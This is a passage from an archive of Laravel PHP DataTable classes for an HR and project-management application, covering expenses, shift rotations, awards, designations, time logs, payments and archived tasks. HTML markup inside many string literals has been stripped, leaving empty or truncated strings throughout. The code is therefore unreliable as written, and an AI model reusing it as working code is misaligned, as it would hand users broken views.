'item_name', 'name' => 'item_name', 'exportable' => false, 'title' => __('modules.expenses.itemName')], __('app.menu.itemName') => ['data' => 'export_item_name', 'name' => 'export_item_name', 'visible' => false, 'title' => __('modules.expenses.itemName')], __('app.price') => ['data' => 'price', 'name' => 'price', 'title' => __('app.price')], __('app.price') . $defaultCurrency->currency->currency_code => ['data' => 'default_currency_price', 'name' => 'default_currency_price', 'orderable' => false, 'title' => __('app.price') . ' ( ' . $defaultCurrency->currency->currency_code . ' )'], __('app.menu.employees') => ['data' => 'user_id', 'name' => 'user_id', 'exportable' => false, 'title' => __('app.menu.employees')], __('app.employee') => ['data' => 'employee_name', 'name' => 'user_id', 'visible' => false, 'title' => __('app.employee')], __('modules.expenses.purchaseFrom') => ['data' => 'purchase_from', 'name' => 'purchase_from', 'title' => __('modules.expenses.purchaseFrom')], __('app.menu.bankaccount') => ['data' => 'bank_account', 'name' => 'bank_account', 'visible' => false, 'exportable' => false, 'title' => __('app.menu.bankaccount')], __('app.menu.bankaccount') => ['data' => 'bank_name', 'name' => 'bank_account.bank_name', 'title' => __('app.menu.bankaccount')], __('modules.expenses.purchaseDate') => ['data' => 'purchase_date', 'name' => 'purchase_date', 'title' => __('modules.expenses.purchaseDate')], __('modules.expenses.expenseBill') => ['data' => 'export_bill', 'name' => 'export_bill', 'visible' => false, 'title' => __('modules.expenses.expenseBill')], __('app.bill') => ['data' => 'bill', 'name' => 'bill', 'exportable' => false, 'title' => __('app.bill')], __('app.status') => ['data' => 'status', 'name' => 'status', 'exportable' => false, 'title' => __('app.status')], __('app.status') . ' ' . __('app.status') => ['data' => 'status', 'name' => 'status', 'visible' => false, 'title' => __('app.status')] ]; } } DataTables/ShiftRotationDataTable.php000064400000015152150325104510013620 0ustar00eloquent($query); $datatables->addIndexColumn(); $datatables->addColumn('action', function ($row) { $action = '
'; return $action; }); $datatables->editColumn('rotation_name', fn ($row) => $row->rotation_name ? ' '.$row->rotation_name.'' : '--'); $datatables->addColumn('no_of_emp', function ($row) { $rotationEmployees = AutomateShift::where('employee_shift_rotation_id', $row->id)->pluck('user_id'); if (count($rotationEmployees) > 0) { return '' . count($rotationEmployees) . ''; } else { return '' . count($rotationEmployees) . ''; } }); $datatables->editColumn('override_shift', function ($row) { if ($row->override_shift == 'yes') { return '' . __('app.yes') . ''; } else { return '' . __('app.no') . ''; } }); $datatables->editColumn('send_mail', function ($row) { if ($row->send_mail == 'yes') { return '' . __('app.yes') . ''; } else { return '' . __('app.no') . ''; } }); $datatables->editColumn('status', function ($row) { $status = ''; return $status; }); $datatables->smart(false); $datatables->rawColumns(['rotation_name', 'no_of_emp', 'override_shift', 'send_mail', 'status', 'action']); return $datatables; } /** * @param ShiftRotation $model * @return ShiftRotation|\Illuminate\Database\Eloquent\Builder|\Illuminate\Database\Query\Builder */ public function query(ShiftRotation $model) { return $model->query(); } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('shift-rotation-table', 2) ->parameters( [ 'initComplete' => 'function () { window.LaravelDataTables["shift-rotation-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("#shift-rotation-table .select-picker").selectpicker(); $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }) }', ] ); return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { $data = [ __('app.rotationName') => ['data' => 'rotation_name', 'name' => 'rotation_name', 'title' => __('app.rotationName')], __('app.noOfEmp') => ['data' => 'no_of_emp', 'name' => 'no_of_emp', 'title' => __('app.noOfEmp'), 'orderable' => false], __('app.replacePreAssignedShift') => ['data' => 'override_shift', 'name' => 'override_shift', 'title' => __('app.replacePreAssignedShift')], __('app.sendRotationNotification') => ['data' => 'send_mail', 'name' => 'send_mail', 'title' => __('app.sendRotationNotification')], __('app.status') => ['data' => 'status', 'name' => 'status', 'title' => __('app.status')], ]; $action = [ Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; return array_merge($data, $action); } } DataTables/EmployeeAppreciationDataTable.php000064400000012203150325104510015133 0ustar00deleteDiscussionPermission = user()->permission('delete_appreciation'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return datatables() ->eloquent($query) ->editColumn('title', function ($row) { $lastReply = ''; if (!is_null($row->last_reply_by_id)) { $lastReply = '' . $row->lastReplyBy->name . ' '; } $title = '
'; $title .= '
'; $title .= '
' . $row->title . '

' . $lastReply . '

'; $title .= ''; if (count($row->replies) > 1) { $title .= __('modules.discussions.replied'); } else { $title .= __('modules.discussions.posted'); } $title .= ' ' . $row->last_reply_at->timezone(company()->timezone)->translatedFormat(company()->date_format . ' ' . company()->time_format) . ''; $title .= '
'; $title .= '
'; $title .= '
'; $title .= '
'; $title .= '

' . count($row->replies) . '

'; $title .= '
'; $title .= '
'; $title .= '
'; $title .= '
'; if (isset($row->category)) { $title .= '

' . $row->category->name . '

'; } if ( $this->deleteDiscussionPermission == 'all' || ($this->deleteDiscussionPermission == 'added' && $row->added_by == user()->id) ) { $title .= ''; $title .= '
'; } $title .= '
'; $title .= '
'; return $title; }) ->rawColumns(['title']); } /** * Get query source of dataTable. * @param Award $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(Award $model) { $model = $model->withoutGlobalScope(ActiveScope::class)->with('awardIcon')->select('id', 'award_icon_id', 'title', 'color_code', 'status'); return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('employee-appreciation-table', 0) ->parameters([ 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }) }', ]); return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ __('app.title') => ['data' => 'title', 'name' => 'title', 'title' => __('app.title')] ]; } } DataTables/AwardDataTable.php000064400000015621150325104510012062 0ustar00manageAwardPermission = user()->permission('manage_award'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return datatables() ->eloquent($query) ->addColumn('check', fn($row) => $this->manageAwardPermission == 'all' ? $this->checkBox($row) : '--') ->addColumn('action', function ($row) { $action = '
' . __('app.view') . '
'; return $action; }) ->editColumn('status', function ($row) { if ($this->manageAwardPermission == 'all') { $status = ''; return $status; } if ($row->status == 'active') { return Common::active(); } return Common::inactive(); }) ->addColumn('appreciation_status', fn($row) => $row->status) ->editColumn('award_icon_id', fn($row) => view('components.award-icon', ['award' => $row])) ->editColumn('title', fn($row) => $row->title) ->addIndexColumn() ->smart(false) ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['check', 'status', 'action', 'award_icon_id']); } /*** * @param Notice $model * @return \Illuminate\Database\Query\Builder */ public function query(Award $model) { $model = $model->withoutGlobalScope(ActiveScope::class)->with(['awardIcon', 'appreciations'])->select('id', 'award_icon_id', 'title', 'color_code', 'status'); if (request()->searchText != '') { $model->where(function ($query) { $query->orWhere('title', 'like', '%' . request('searchText') . '%'); $query->orWhere('status', 'like', '%' . request('searchText') . '%'); }); } if (request()->status != '' && request()->status != 'all') { $model->where('status', request()->status); } return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('appreciation-type-table', 3) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["appreciation-type-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }); $(".change-appreciation-status").selectpicker(); }', ]); return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('modules.appreciations.icon') => ['data' => 'award_icon_id', 'exportable' => false, 'name' => 'award_icon_id', 'searchable' => false], __('app.title') => ['data' => 'title', 'name' => 'title', 'searchable' => true], Column::computed('status', __('app.status')) ->exportable(false) ->orderable(true) ->width(150), __('modules.appreciations.appreciationStatus') => ['data' => 'appreciation_status', 'visible' => false, 'name' => 'appreciation_status'], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; } } DataTables/LabelDataTable.php000064400000007150150325104510012041 0ustar00eloquent($query) ->addColumn('action', function ($row) { $action = ''; return $action; }) ->editColumn('label_name', function ($row) { if ($row->color) { return ''; } return ''; }) ->editColumn('description', function ($row) { if ($row->description) { return $row->description; } return '--'; }) ->addIndexColumn() ->rawColumns(['action', 'label_name', 'color']); } /** * @param TaskLabelList $model * @return \Illuminate\Database\Query\Builder */ public function query(TaskLabelList $model) { return $model->select('id', 'label_name', 'color', 'description'); } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('taskLabelList-table', 0) ->dom("<'row'<'col-md-6'l><'col-md-6'Bf>><'row'<'col-sm-12'tr>><'row'<'col-sm-5'i><'col-sm-7'p>>") ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["taskLabelList-table"].buttons().container() .appendTo( ".bg-title .text-right") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }) }', ]); return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ '#' => ['data' => 'id', 'name' => 'id', 'visible' => true], __('app.labelName') => ['data' => 'label_name', 'name' => 'label_name', 'title' => __('app.labelName')], __('app.description') => ['data' => 'description', 'name' => 'description', 'title' => __('app.description')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->width(150) ->addClass('text-center') ]; } } DataTables/DesignationDataTable.php000064400000014462150325104510013272 0ustar00editDesignationPermission = user()->permission('edit_designation'); $this->deleteDesignationPermission = user()->permission('delete_designation'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return datatables() ->eloquent($query) ->addIndexColumn() ->addColumn('check', fn($row) => $this->checkBox($row)) ->editColumn('name', function ($row) { $name = '
' . $row->name . '
'; return $name; }) ->editColumn('parent_id', function ($row) { // get name of parent designation $parent = Designation::where('id', $row->parent_id)->first(); if ($parent) { return $parent->name; } return '-'; }) ->addColumn('action', function ($row) { $action = '
' . __('app.view') . '
'; return $action; }) ->smart(false) ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['check', 'action', 'name']); } /** * @param Designation $model * @return \Illuminate\Database\Query\Builder */ public function query(Designation $model) { $request = $this->request(); $model = $model->select('*'); if (request()->searchText != '') { $model->where('name', 'like', '%' . request()->searchText . '%'); } if ($request->parentId != 'all' && $request->parentId != null) { $departments = Designation::with('childs')->where('id', $request->parentId)->get(); foreach ($departments as $department) { if ($department->childs) { $this->child($department->childs); array_push($this->arr, $department->id); } } $model->whereIn('id', $this->arr); } return $model; } public function child($child) { foreach ($child as $item) { $this->arr[] = $item->id; if ($item->childs) { $this->child($item->childs); } } } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('Designation-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["Designation-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }); $(".statusChange").selectpicker(); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.name') => ['data' => 'name', 'name' => 'name', 'exportable' => true, 'title' => __('app.name')], __('app.menu.parent_id') => ['data' => 'parent_id', 'name' => 'parent_id', 'exportable' => true, 'title' => __('app.menu.parent_id') . ' ' . __('app.menu.designation')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; } } DataTables/TimeLogReportDataTable.php000064400000031162150325104510013556 0ustar00editTimelogPermission = user()->permission('edit_timelogs'); $this->deleteTimelogPermission = user()->permission('delete_timelogs'); } public function dataTable($query) { return datatables() ->eloquent($query) ->addColumn('employee_name', function ($row) { return $row->user->name; }) ->addColumn('total_minutes', function ($row) { return $row->total_minutes; }) ->editColumn('name', function ($row) { return view('components.employee', [ 'user' => $row->user ]); }) ->editColumn('start_time', function ($row) { return $row->start_time->timezone($this->company->timezone)->translatedFormat($this->company->date_format . ' ' . $this->company->time_format); }) ->editColumn('end_time', function ($row) { if (!is_null($row->end_time)) { return $row->end_time->timezone($this->company->timezone)->translatedFormat($this->company->date_format . ' ' . $this->company->time_format); } else { return "" . __('app.active') . ''; } }) ->editColumn('total_hours', function ($row) { if (is_null($row->end_time)) { $totalMinutes = (($row->activeBreak) ? $row->activeBreak->start_time->diffInMinutes($row->start_time) : now()->diffInMinutes($row->start_time)) - $row->breaks->sum('total_minutes'); }else { $totalMinutes = $row->total_minutes - $row->breaks->sum('total_minutes'); } // Convert total minutes to hours and minutes $hours = intdiv($totalMinutes, 60); $minutes = $totalMinutes % 60; // Format output based on hours and minutes $formattedTime = $hours > 0 ? $hours . 'h' . ($minutes > 0 ? ' ' . sprintf('%02dm', $minutes) : '') : ($minutes > 0 ? sprintf('%dm', $minutes) : '0s'); $timeLog = '' . $formattedTime . ''; if (is_null($row->end_time)) { $timeLog .= ' '; } else { if ($row->approved) { $timeLog .= ' '; } } return $timeLog; }) ->editColumn('earnings', function ($row) { if (is_null($row->hourly_rate)) { return '--'; } return currency_format($row->earnings, company()->currency_id); }) ->editColumn('project', function ($row) { $project = ''; if (!is_null($row->project_id)) { $project .= '' . $row->project->project_name . ''; } return $project; }) ->addColumn('client', function ($row) { return $row->project->client->name ?? '--'; }) ->editColumn('task', function ($row) { $task = ''; if (!is_null($row->task_id)) { $task .= '' . $row->task->heading . ''; } return $task; }) ->editColumn('task_project', function ($row) { $name = ''; if (!is_null($row->project_id) && !is_null($row->task_id)) { $name .= '
' . $row->task->heading . '
' . $row->project->project_name . '
'; } else if (!is_null($row->project_id)) { $name .= '' . $row->project->project_name . ''; } else if (!is_null($row->task_id)) { $name .= '' . $row->task->heading . ''; } return $name; }) ->addIndexColumn() ->setRowId(fn($row) => 'row-' . $row->id) ->editColumn('short_code', function ($row) { if (is_null($row->task_short_code)) { return ' -- '; } return '' . $row->task_short_code . ''; }) ->rawColumns(['end_time', 'action', 'project', 'task', 'task_project', 'name', 'total_hours', 'total_minutes', 'check', 'short_code']) ->removeColumn('project_id') ->removeColumn('task_id'); } /** * @param ProjectTimeLog $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(ProjectTimeLog $model) { $request = $this->request(); $projectId = $request->projectId; $employee = $request->employee; $client = $request->client; $taskId = $request->taskId; $approved = $request->approved; $invoice = $request->invoice; $model = $model->with('user', 'project', 'task', 'breaks', 'activeBreak'); $model = $model->join('users', 'users.id', '=', 'project_time_logs.user_id') ->join('employee_details', 'users.id', '=', 'employee_details.user_id') ->leftJoin('designations', 'employee_details.designation_id', '=', 'designations.id') ->leftJoin('tasks', 'tasks.id', '=', 'project_time_logs.task_id') ->leftJoin('projects', 'projects.id', '=', 'project_time_logs.project_id'); $model = $model->select('project_time_logs.id', 'project_time_logs.start_time', 'project_time_logs.end_time', 'project_time_logs.total_hours', 'project_time_logs.total_minutes', 'project_time_logs.memo', 'project_time_logs.user_id', 'project_time_logs.project_id', 'project_time_logs.task_id', 'users.name', 'users.image', 'project_time_logs.hourly_rate', 'project_time_logs.earnings', 'project_time_logs.approved', 'tasks.heading', 'projects.project_name', 'projects.client_id', 'designations.name as designation_name', 'tasks.task_short_code'); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); if (!is_null($startDate)) { $model = $model->where(DB::raw('DATE(project_time_logs.`start_time`)'), '>=', $startDate); } } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); if (!is_null($endDate)) { $model = $model->where(function ($query) use ($endDate) { $query->where(DB::raw('DATE(project_time_logs.`end_time`)'), '<=', $endDate); }); } } if (!is_null($employee) && $employee !== 'all') { $model->where('project_time_logs.user_id', $employee); } if (!is_null($client) && $client !== 'all') { $model->where('projects.client_id', $client); } if (!is_null($projectId) && $projectId !== 'all') { $model->where('project_time_logs.project_id', '=', $projectId); } if (!is_null($taskId) && $taskId !== 'all') { $model->where('project_time_logs.task_id', '=', $taskId); } if (!is_null($approved) && $approved !== 'all') { $model->where('project_time_logs.approved', '=', $approved); } if (!is_null($invoice) && $invoice !== 'all') { if ($invoice == 0) { $model->where('project_time_logs.invoice_id', '=', null); } else if ($invoice == 1) { $model->where('project_time_logs.invoice_id', '!=', null); } } if ($request->searchText != '') { $model->where(function ($query) { $query->where('tasks.heading', 'like', '%' . request('searchText') . '%') ->orWhere('project_time_logs.memo', 'like', '%' . request('searchText') . '%') ->orWhere('projects.project_name', 'like', '%' . request('searchText') . '%') ->orWhere('tasks.task_short_code', 'like', '%' . request('searchText') . '%'); }); } $model->whereNull('tasks.deleted_at')->orderBy('project_time_logs.id', 'desc'); return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('timelogs-table', 5) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["timelogs-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { // $(".select-picker").selectpicker(); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.id') => ['data' => 'id', 'name' => 'id', 'visible' => false, 'title' => __('app.id')], __('modules.taskCode') => ['data' => 'short_code', 'name' => 'task_short_code', 'title' => __('modules.taskCode')], __('app.project') => ['data' => 'project', 'visible' => false, 'title' => __('app.project')], __('app.task') => ['data' => 'task', 'visible' => false, 'title' => __('app.task')], __('app.tasks') => ['data' => 'task_project', 'name' => 'heading', 'width' => '200', 'exportable' => false, 'title' => __('app.tasks')], __('app.employee') => ['data' => 'name', 'name' => 'users.name', 'exportable' => false, 'title' => __('app.employee')], __('app.name') => ['data' => 'employee_name', 'name' => 'name', 'visible' => false, 'title' => __('app.name')], __('modules.timeLogs.startTime') => ['data' => 'start_time', 'name' => 'start_time', 'title' => __('modules.timeLogs.startTime')], __('modules.timeLogs.endTime') => ['data' => 'end_time', 'name' => 'end_time', 'title' => __('modules.timeLogs.endTime')], __('modules.timeLogs.totalHours') => ['data' => 'total_hours', 'name' => 'total_hours', 'title' => __('modules.timeLogs.totalHours')], __('modules.timeLogs.totalMinutes') => ['data' => 'total_minutes', 'visible' => false, 'title' => __('modules.timeLogs.totalMinutes')], __('modules.employees.memo') => ['data' => 'memo', 'visible' => false, 'title' => __('modules.employees.memo')], __('app.client') => ['data' => 'client', 'visible' => false, 'title' => __('app.client')], __('app.earnings') => ['data' => 'earnings', 'name' => 'earnings', 'title' => __('app.earnings')] ]; } } DataTables/FinanceReportDataTable.php000064400000016137150325104510013566 0ustar00editPaymentPermission = user()->permission('edit_payments'); $this->deletePaymentPermission = user()->permission('delete_payments'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return datatables() ->eloquent($query) ->editColumn('project_id', function ($row) { if (!is_null($row->project)) { return '' . $row->project->project_name . ''; } else { return '--'; } }) ->editColumn('invoice_number', function ($row) { if ($row->invoice_id != null) { return '' . $row->invoice->invoice_number . ''; } else { return '--'; } }) ->editColumn('status', function ($row) { if ($row->status == 'pending') { return '' . __('app.' . $row->status); } else { return '' . __('app.' . $row->status); } }) ->editColumn('amount', function ($row) { $currencyId = (!is_null($row->currency)) ? $row->currency->id : ''; return currency_format($row->amount, $currencyId); }) ->addColumn('default_currency_price', function ($row) { return currency_format($row->default_currency_price, company()->currency_id); }) ->editColumn( 'paid_on', function ($row) { if (!is_null($row->paid_on)) { return $row->paid_on->translatedFormat($this->company->date_format); } } ) ->addIndexColumn() ->smart(false) ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['invoice', 'status', 'project_id', 'invoice_number']) ->removeColumn('invoice_id') ->removeColumn('currency_symbol') ->removeColumn('currency_code') ->removeColumn('project_name'); } /** * @return \Illuminate\Database\Eloquent\Builder */ public function query() { $request = $this->request(); $model = Payment::with(['project:id,project_name', 'currency:id,currency_symbol,currency_code', 'invoice']) ->leftJoin('invoices', 'invoices.id', '=', 'payments.invoice_id') ->leftJoin('projects', 'projects.id', '=', 'payments.project_id') ->select('payments.id', 'payments.project_id', 'payments.currency_id', 'payments.invoice_id', 'payments.amount', 'payments.status', 'payments.paid_on', 'payments.remarks', 'payments.bill', 'payments.added_by', 'payments.exchange_rate'); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); $model = $model->where(DB::raw('DATE(payments.`paid_on`)'), '>=', $startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); $model = $model->where(DB::raw('DATE(payments.`paid_on`)'), '<=', $endDate); } if ($request->projectID != 'all' && !is_null($request->projectID)) { $model = $model->where('payments.project_id', '=', $request->projectID); } if ($request->clientID != 'all' && !is_null($request->clientID)) { $clientId = $request->clientID; $model = $model->where(function ($query) use ($clientId) { $query->where('projects.client_id', $clientId) ->orWhere('invoices.client_id', $clientId); }); } if ($request->searchText != '') { $model = $model->where(function ($query) { $query->where('projects.project_name', 'like', '%' . request('searchText') . '%') ->orWhere('payments.amount', 'like', '%' . request('searchText') . '%') ->orWhere('invoices.id', 'like', '%' . request('searchText') . '%'); }); } $model = $model->where('payments.status', '=', 'complete'); $model = $model->orderBy('payments.paid_on', 'desc'); return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('payments-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["payments-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { // }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { $defaultCurrency = Company::with('currency')->find(company()->id); return [ '#' => ['data' => 'DT_RowIndex', 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.project') => ['data' => 'project_id', 'name' => 'project_id', 'title' => __('app.project')], __('app.invoice') . '#' => ['data' => 'invoice_number', 'name' => 'invoice.invoice_number', 'title' => __('app.invoice')], __('modules.invoices.amount') => ['data' => 'amount', 'name' => 'amount', 'title' => __('modules.invoices.amount')], __('modules.invoices.amount') . $defaultCurrency->currency->currency_code => ['data' => 'default_currency_price', 'name' => 'default_currency_price', 'orderable' => false, 'title' => __('modules.invoices.amount') . ' ( ' . $defaultCurrency->currency->currency_code . ' )'], __('modules.payments.paidOn') => ['data' => 'paid_on', 'name' => 'paid_on', 'title' => __('modules.payments.paidOn')], __('app.status') => ['data' => 'status', 'name' => 'status', 'title' => __('app.status')] ]; } } DataTables/about.php000064400000026574150325104510010405 0ustar00DataTables/ArchiveTasksDataTable.php000064400000062216150325104510013415 0ustar00editTaskPermission = user()->permission('edit_tasks'); $this->deleteTaskPermission = user()->permission('delete_tasks'); $this->viewTaskPermission = user()->permission('view_tasks'); $this->changeStatusPermission = user()->permission('change_status'); $this->viewUnassignedTasksPermission = user()->permission('view_unassigned_tasks'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { $taskBoardColumns = TaskboardColumn::orderBy('priority', 'asc')->get(); return datatables() ->eloquent($query) ->addColumn('check', fn($row) => $this->checkBox($row)) ->addColumn('action', function ($row) { $taskUsers = $row->users->pluck('id')->toArray(); $action = '
'; return $action; }) ->editColumn('due_date', fn($row) => Common::dateColor($row->due_date)) ->editColumn('users', function ($row) { if (count($row->users) == 0) { return '--'; } $key = ''; $members = '
'; foreach ($row->users as $key => $member) { if ($key < 4) { $img = ''; $position = $key > 0 ? 'position-absolute' : ''; $members .= ' '; } } if (count($row->users) > 4 && $key) { $members .= ' '; } $members .= '
'; return $members; }) ->addColumn('name', function ($row) { $members = []; foreach ($row->users as $member) { $members[] = $member->name; } return implode(',', $members); }) ->addColumn('timer', function ($row) { if ($row->boardColumn->slug != 'completed' && !is_null($row->is_task_user)) { if (is_null($row->userActiveTimer)) { return ''; } else { if (is_null($row->userActiveTimer->activeBreak)) { $timerButtons = '
'; $timerButtons .= ''; $timerButtons .= ''; $timerButtons .= '
'; return $timerButtons; } else { return ''; } } } }) ->editColumn('clientName', fn($row) => $row->clientName ?? '-') ->addColumn('task', fn($row) => $row->heading) ->addColumn('timeLogged', function ($row) { $timeLog = '--'; if ($row->timeLogged) { $totalMinutes = $row->timeLogged->sum('total_minutes'); $breakMinutes = ProjectTimeLogBreak::taskBreakMinutes($row->id); $totalMinutes = $totalMinutes - $breakMinutes; $timeLog = CarbonInterval::formatHuman($totalMinutes); /** @phpstan-ignore-line */ } return $timeLog; }) ->editColumn('heading', function ($row) { $labels = $private = $pin = $timer = ''; if ($row->is_private) { $private = ' ' . __('app.private') . ''; } if (($row->pinned_task)) { $pin = ' ' . __('app.pinned') . ''; } if ($row->active_timer_all_count > 1) { $timer .= ' ' . $row->active_timer_all_count . ' ' . __('modules.projects.activeTimers') . ''; } if ($row->activeTimer && $row->active_timer_all_count == 1) { $timer .= ' ' . $row->activeTimer->timer . ''; } foreach ($row->labels as $label) { $labels .= '' . $label->label_name . ''; } return '
' . $row->heading . '

' . $private . ' ' . $pin . ' ' . $timer . ' ' . $labels . '

'; }) ->editColumn('board_column', function ($row) use ($taskBoardColumns) { $taskUsers = $row->users->pluck('id')->toArray(); if ( $this->changeStatusPermission == 'all' || ($this->changeStatusPermission == 'added' && $row->added_by == user()->id) || ($this->changeStatusPermission == 'owned' && in_array(user()->id, $taskUsers)) || ($this->changeStatusPermission == 'both' && (in_array(user()->id, $taskUsers) || $row->added_by == user()->id)) || ($row->project_admin == user()->id) ) { $status = ''; return $status; } return '' . $row->boardColumn->column_name; }) ->addColumn('status', fn ($row) => $row->boardColumn->column_name ?? '-') ->editColumn('project_name', function ($row) { if (is_null($row->project_id)) { return '-'; } return '' . $row->project_name . ''; }) ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['board_column', 'action', 'project_name', 'clientName', 'due_date', 'users', 'heading', 'check', 'timeLogged', 'timer']) ->removeColumn('project_id') ->removeColumn('image') ->removeColumn('created_image') ->removeColumn('label_color'); } /** * @param Task $model * @return mixed */ public function query(Task $model) { $request = $this->request(); $startDate = null; $endDate = null; if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); } $projectId = $request->projectId; $taskBoardColumn = TaskboardColumn::completeColumn(); $model = $model->leftJoin('projects', 'projects.id', '=', 'tasks.project_id') ->leftJoin('users as client', 'client.id', '=', 'projects.client_id') ->join('taskboard_columns', 'taskboard_columns.id', '=', 'tasks.board_column_id'); if ( ($this->viewUnassignedTasksPermission == 'all' && !in_array('client', user_roles()) && ($request->assignedTo == 'unassigned' || $request->assignedTo == 'all')) || ($request->has('project_admin') && $request->project_admin == 1) ) { $model->leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->leftJoin('users as member', 'task_users.user_id', '=', 'member.id'); } else { $model->join('task_users', 'task_users.task_id', '=', 'tasks.id') ->join('users as member', 'task_users.user_id', '=', 'member.id'); } $model->leftJoin('users as creator_user', 'creator_user.id', '=', 'tasks.created_by') ->leftJoin('task_labels', 'task_labels.task_id', '=', 'tasks.id') ->selectRaw('tasks.id, tasks.added_by, projects.project_name, projects.project_admin, tasks.heading, client.name as clientName, creator_user.name as created_by, creator_user.image as created_image, tasks.board_column_id, tasks.due_date, taskboard_columns.column_name as board_column, taskboard_columns.label_color, tasks.project_id, tasks.is_private ,( select count("id") from pinned where pinned.task_id = tasks.id and pinned.user_id = ' . user()->id . ') as pinned_task') ->with('users', 'activeTimerAll', 'boardColumn', 'activeTimer', 'timeLogged', 'timeLogged.breaks', 'userActiveTimer', 'userActiveTimer.activeBreak', 'labels') ->withCount('activeTimerAll') ->groupBy('tasks.id'); if ($request->pinned == 'pinned') { $model->join('pinned', 'pinned.task_id', 'tasks.id'); $model->where('pinned.user_id', user()->id); } if (!in_array('admin', user_roles())) { if ($request->pinned == 'private') { $model->where( function ($q2) { $q2->where('tasks.is_private', 1); $q2->where( function ($q4) { $q4->where('task_users.user_id', user()->id); $q4->orWhere('tasks.added_by', user()->id); } ); } ); } else { $model->where( function ($q) { $q->where('tasks.is_private', 0); $q->orWhere( function ($q2) { $q2->where('tasks.is_private', 1); $q2->where( function ($q5) { $q5->where('task_users.user_id', user()->id); $q5->orWhere('tasks.added_by', user()->id); } ); } ); } ); } } if 